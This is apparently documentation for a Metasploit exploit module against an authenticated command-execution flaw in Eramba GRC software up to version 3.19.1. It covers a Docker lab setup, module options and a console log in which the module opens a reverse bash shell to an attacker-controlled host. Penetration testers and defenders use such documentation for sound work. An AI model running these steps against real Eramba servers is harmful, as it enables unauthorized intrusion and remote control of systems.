## Vulnerable Application

Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in [Docker format](https://www.eramba.org/learning/courses/12/episodes/274). However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (`docker-compose.simple-install.yml`):

### Installation

Docker and docker-compose is required.

1. git clone https://github.com/eramba/docker
2. cd docker
3. Setup database credentials and public URL in `.env`
4. Copy following into `docker-compose.simple-install.yml` 
```
version: '3.19'
services:
  mysql:
    container_name: mysql
    image: mysql:8.0.28-oracle
    command: ["mysqld", "--disable-log-bin"]
    restart: always
    volumes:
      - db-data:/var/lib/mysql
      - ./mysql/conf.d:/etc/mysql/conf.d
      - ./mysql/entrypoint:/docker-entrypoint-initdb.d
    environment:
      MYSQL_DATABASE: ${DB_DATABASE}
      MYSQL_USER: ${DB_USERNAME}
      MYSQL_PASSWORD: ${DB_PASSWORD}
      MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
  redis:
    container_name: redis
    image: redis:6.0.16-alpine
    restart: always
  eramba:
    container_name: eramba
    image: ghcr.io/eramba/eramba:3.19.1
    restart: always
    ports:
      - 8443:443
    volumes:
      - data:/var/www/eramba/app/upgrade/data
      - app:/var/www/eramba
      - logs:/var/www/eramba/app/upgrade/logs
      - ./apache/ssl/mycert.crt:/etc/ssl/certs/mycert.crt
      - ./apache/ssl/mycert.key:/etc/ssl/private/mycert.key
      - ./apache/security.conf:/etc/apache2/conf-available/security.conf
      - ./apache/ports.conf:/etc/apache2/ports.conf
      - ./apache/vhost-ssl.conf:/etc/apache2/sites-available/000-default.conf
      - ./crontab/crontab:/etc/cron.d/eramba-crontab
    environment:
      DB_HOST: ${DB_HOST}
      DB_DATABASE: ${DB_DATABASE}
      DB_USERNAME: ${DB_USERNAME}
      DB_PASSWORD: ${DB_PASSWORD}
      CACHE_URL: ${CACHE_URL}
      USE_PROXY: ${USE_PROXY}
      PROXY_HOST: ${PROXY_HOST}
      PROXY_PORT: ${PROXY_PORT}
      USE_PROXY_AUTH: ${USE_PROXY_AUTH}
      PROXY_AUTH_USER: ${PROXY_AUTH_USER}
      PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
      PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
      DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
      LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
    links:
      - mysql
      - redis
    depends_on:
      - mysql
  cron:
    container_name: cron
    image: ghcr.io/eramba/eramba:3.19.1
    command: ["cron", "-f"]
    entrypoint: ["/docker-cron-entrypoint.sh"]
    restart: always
    volumes:
      - data:/var/www/eramba/app/upgrade/data
      - app:/var/www/eramba
      - logs:/var/www/eramba/app/upgrade/logs
      - ./docker-cron-entrypoint.sh:/docker-cron-entrypoint.sh
      - ./crontab/crontab:/etc/cron.d/eramba-crontab
      - .env:/var/www/docker.env
    environment:
      DB_HOST: ${DB_HOST}
      DB_DATABASE: ${DB_DATABASE}
      DB_USERNAME: ${DB_USERNAME}
      DB_PASSWORD: ${DB_PASSWORD}
      CACHE_URL: ${CACHE_URL}
      USE_PROXY: ${USE_PROXY}
      PROXY_HOST: ${PROXY_HOST}
      PROXY_PORT: ${PROXY_PORT}
      USE_PROXY_AUTH: ${USE_PROXY_AUTH}
      PROXY_AUTH_USER: ${PROXY_AUTH_USER}
      PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
      PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
      DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
      LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
    links:
      - mysql
      - redis
      - eramba
    depends_on:
      - eramba
volumes:
  app:
  data:
  logs:
  db-data:
```

5. `docker compose -f docker-compose.simple-install.yml up -d`

Shut down: `docker compose -f docker-compose.simple-install.yml down`


## Verification Steps

1. use exploit/linux/http/eramba_rce
2. set RHOSTS [target IP]
3. set LHOST [attacker's IP]
4. set USERNAME [username]
5. set PASSWORD [password]
6. exploit

## Options

### USERNAME

A valid username for Eramba application

### PASSWORD 

A valid password for Eramba application

## Scenarios

```
msf > use exploit/linux/http/eramba_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/eramba_rce)> set RHOSTS 192.168.95.145
RHOSTS => 192.168.95.145
msf exploit(linux/http/eramba_rce)> set LHOST 192.168.95.142
LHOST => 192.168.95.142
msf exploit(linux/http/eramba_rce)> set USERNAME admin
USERNAME => admin
msf exploit(linux/http/eramba_rce)> set PASSWORD P4ssw0rd!
PASSWORD => P4ssw0rd!
msf exploit(linux/http/eramba_rce) > exploit
[*] Started reverse TCP handler on 192.168.95.142:4444 
[*] Command shell session 1 opened (192.168.95.142:4444 -> 192.168.95.145:38460) at 2025-03-13 12:31:26 +0100
id

uid=33(www-data) gid=33(www-data) groups=33(www-data)


```